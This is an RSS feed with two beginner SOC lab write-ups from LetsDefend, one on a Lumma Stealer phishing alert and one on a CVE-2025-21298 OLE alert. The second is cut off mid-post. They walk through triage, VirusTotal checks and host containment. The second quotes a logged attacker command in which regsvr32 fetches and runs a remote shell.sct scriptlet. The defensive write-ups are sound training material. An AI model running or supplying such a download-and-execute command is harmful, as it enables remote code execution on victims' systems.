<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Hitanshu Gedam</title>
    <description>The latest articles on Forem by Hitanshu Gedam (@hitanshugedam).</description>
    <link>https://forem.com/hitanshugedam</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3499351%2F816476e9-9f46-443b-a4c9-8adb4342ffbb.jpeg</url>
      <title>Forem: Hitanshu Gedam</title>
      <link>https://forem.com/hitanshugedam</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/hitanshugedam"/>
    <language>en</language>
    <item>
      <title>LetsDefend SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Mon, 27 Apr 2026 18:01:11 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-p8l</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-p8l</guid>
      <description>&lt;p&gt;This time we are investigating another CRITICAL level alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjazo4iuxgr3kyf62a5nv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjazo4iuxgr3kyf62a5nv.png" alt="takeownership" width="800" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with taking ownership of the alert and then head to the Investigation Channel and create a case.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1szw9z49zu9tezrycv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1szw9z49zu9tezrycv3.png" alt="createdcase" width="712" height="526"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's start the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2433w2g0kq8qz5mnqgzc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2433w2g0kq8qz5mnqgzc.png" alt="playbok1" width="800" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with our instruction to parse email&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9k4u3pgry2t16u33pd0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9k4u3pgry2t16u33pd0i.png" alt="parseemail" width="800" height="430"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; update@windows-update[.]site&lt;/span&gt;
&lt;span class="nt"&gt;To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; dylan[@]letsdefend.io&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Upgrade your system to Windows 11 Pro for FREE&lt;/span&gt;
&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Mar, 13, 2025, 09:44 AM&lt;/span&gt;
&lt;span class="nt"&gt;Action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Allowed&lt;/span&gt;
&lt;span class="nt"&gt;SMTP Address&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; 132.232.40.201&lt;/span&gt;
&lt;span class="nt"&gt;Attachment&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; No files, but there are URLs present.&lt;/span&gt;
&lt;span class="nt"&gt;Suspicious&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Yes, because there were multiple 'Update Now' buttons, indicating a phishing attempt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmwtdhm90i4oxu926fur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmwtdhm90i4oxu926fur.png" alt="attachment" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we copy the url from the email and look it up on VirusTotal we see the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gk9oiaojooi3t1yenic.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gk9oiaojooi3t1yenic.png" alt="virustotal" width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;11 out of 91 vendors flag this URL as malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsxzwyzhy2sowxajc4pta.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsxzwyzhy2sowxajc4pta.png" alt="malicious" width="800" height="477"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next question is:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8djyy2y2g25tg4g9rsb3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8djyy2y2g25tg4g9rsb3.png" alt="deliveredkya" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flmwibnti1csj0elnn7wd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flmwibnti1csj0elnn7wd.png" alt="alowed" width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The the alert details, under the Action field, shows the value set to Allowed — confirming that the email was successfully delivered to the recipient.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fr322da8xm5k9naln2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fr322da8xm5k9naln2l.png" alt="delivered" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffummpxhc1w2e639ndc90.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffummpxhc1w2e639ndc90.png" alt="delete" width="800" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next task is to delete the email&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgog4eluno8958a2ua0ds.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgog4eluno8958a2ua0ds.png" alt="emailsecurity" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move to the Email Security tab, look for the particular email and delete it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh28u31p533ji9mgbdjgv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh28u31p533ji9mgbdjgv.png" alt="deleted" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkc0q3c4syurfzrvw3oi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkc0q3c4syurfzrvw3oi6.png" alt="playbook3" width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we need to find out if Dylan accessed the malicious URL. We move to &lt;br&gt;
Endpoint Security and see if the URL was accessed&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftevoihp900ql841gb9h5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftevoihp900ql841gb9h5.png" alt="accessed" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that the URL was, in fact, accessed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxa2u29815zhfwm4j6f6o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxa2u29815zhfwm4j6f6o.png" alt="playbook4" width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to contain the host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m5x49rddklf0iby196j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m5x49rddklf0iby196j.png" alt="contained" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The machine is contained.&lt;/p&gt;

&lt;p&gt;Our next step is to add the artifacts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfofm64ilzniuetx3c2e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfofm64ilzniuetx3c2e.png" alt="artifacts" width="800" height="518"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After putting Analyst's notes, we finish the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fep8f89nqrc1qeqp46676.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fep8f89nqrc1qeqp46676.png" alt="finish" width="800" height="253"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw5r2ybw5vzahbf1zv5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw5r2ybw5vzahbf1zv5g.png" alt="close" width="588" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert on the monitoring page.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 19:18:10 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-3k77</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-3k77</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyykib4spsrzr7cfsk0fb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyykib4spsrzr7cfsk0fb.png" alt="taking ownership" width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the alert we will be working with. &lt;br&gt;
Let's start with taking the ownership of this alert/&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr49b9at2zr012dtpynko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr49b9at2zr012dtpynko.png" alt="tookownership" width="702" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's go ahead to the Investigation channel and create a case for this alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lhy8tai6uktiuzgq0fc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lhy8tai6uktiuzgq0fc.png" alt="nvd" width="800" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of what we see on the NIST National Vulnerability Database about the CVE of this alert.&lt;br&gt;
link: &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21298" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/CVE-2025-21298&lt;/a&gt;&lt;br&gt;
The severity has a score of 9.8 which means it is CRITICAL.&lt;/p&gt;

&lt;p&gt;This vulnerability allows attackers to execute remote code via specially crafted OLE (Object Linking and Embedding) objects without user interaction. Knowing this, I knew I needed to look for unusual child processes spawning from Office applications or script executions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsnbjzloq33xway5flgh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsnbjzloq33xway5flgh.png" alt=" " width="800" height="420"&gt;&lt;/a&gt;&lt;br&gt;
I went to the Endpoint Security tab and searched for the SMTP IP, looking through the "Processes" logs and here is what I found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cmd.exe was executed at 08:06:08 AM with Outlook.exe as it's Parent Process which is quite a red flag since an email client is RARELY needed to spawn a command shell prompt&lt;/li&gt;
&lt;li&gt;at 08:06:25 AM, cmd.exe spawned regsvr32.exe&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Malicious command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows\System32\cmd.exe &lt;span class="na"&gt;/c &lt;/span&gt;&lt;span class="nb"&gt;regsvr32.exe&lt;/span&gt; &lt;span class="na"&gt;/s /u /i&lt;/span&gt;&lt;span class="nl"&gt;:http&lt;/span&gt;://84.38.130.118.com/shell.sct &lt;span class="kd"&gt;scrobj&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command launches Windows Command Prompt to silently run regsvr32 with flags that suppress prompts (/s), unregister mode (/u), and pass a remote scriptlet URL via /i: to scrobj.dll, the Script Component runtime. In practice, this is a well-known “living off the land” technique often called Squiblydoo, where attackers abuse trusted Windows binaries to download and execute malicious code from a remote server while bypassing some application controls. The URL shown (&lt;a href="http://84.38.130.118.com/shell.sct" rel="noopener noreferrer"&gt;http://84.38.130.118.com/shell.sct&lt;/a&gt;) suggests retrieval of a .sct scriptlet named shell.sct, which is highly suspicious and commonly associated with malware payload delivery, persistence, or remote command execution. On a real system, this should be treated as a likely malicious execution attempt and investigated immediately (process tree, network logs, DNS resolution, downloaded content, persistence artifacts, EDR alerts).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lcft3dc3uywgqt9eqf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lcft3dc3uywgqt9eqf5.png" alt="email" width="800" height="432"&gt;&lt;/a&gt;&lt;br&gt;
I head to Email Security as look for an email from the sender projectmanagement[@]pm[.]me  &lt;/p&gt;

&lt;p&gt;It contains an attachment named &lt;code&gt;mail.rtf&lt;/code&gt; with "infected" as its password.&lt;/p&gt;

&lt;p&gt;Now I go to VirusTotal and search the file hash on it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05enx1ynijvt4hbftoxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05enx1ynijvt4hbftoxg.png" alt="virustotal" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;25 out of 61 vendors flag this file as malicious.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;regsvr32.exe&lt;/code&gt; was used to run a remote script and possibly leverage &lt;code&gt;scrobj.dll&lt;/code&gt;, the activity strongly suggested an ongoing system compromise. Since the remote payload’s exact functionality was unknown—it could have been a reverse shell, ransomware loader, or command-and-control beacon—the system needed to be isolated immediately.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzpwkn2psfluj13ndl88.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzpwkn2psfluj13ndl88.png" alt="contained" width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Following were my answers for the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14rrwr0e5noz5rbkx2gh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14rrwr0e5noz5rbkx2gh.png" alt="pb1" width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8vyzfmgpgo2ua30cpfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8vyzfmgpgo2ua30cpfo.png" alt="pb2" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftr2ieflaqy8gw1y203dk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftr2ieflaqy8gw1y203dk.png" alt="log2" width="800" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the above screenshot we can see the source IP (internal network) contacted the destination IP which is the SMTP IP in the alert. So, C2 communication did take place&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fko5kx3h51l8u5m1cwtwr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fko5kx3h51l8u5m1cwtwr.png" alt="pb3" width="800" height="471"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpb153sieebpu90nm16z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpb153sieebpu90nm16z.png" alt="contain" width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We already contained the affected host.&lt;/p&gt;

&lt;p&gt;Artifacts are added:&lt;/p&gt;

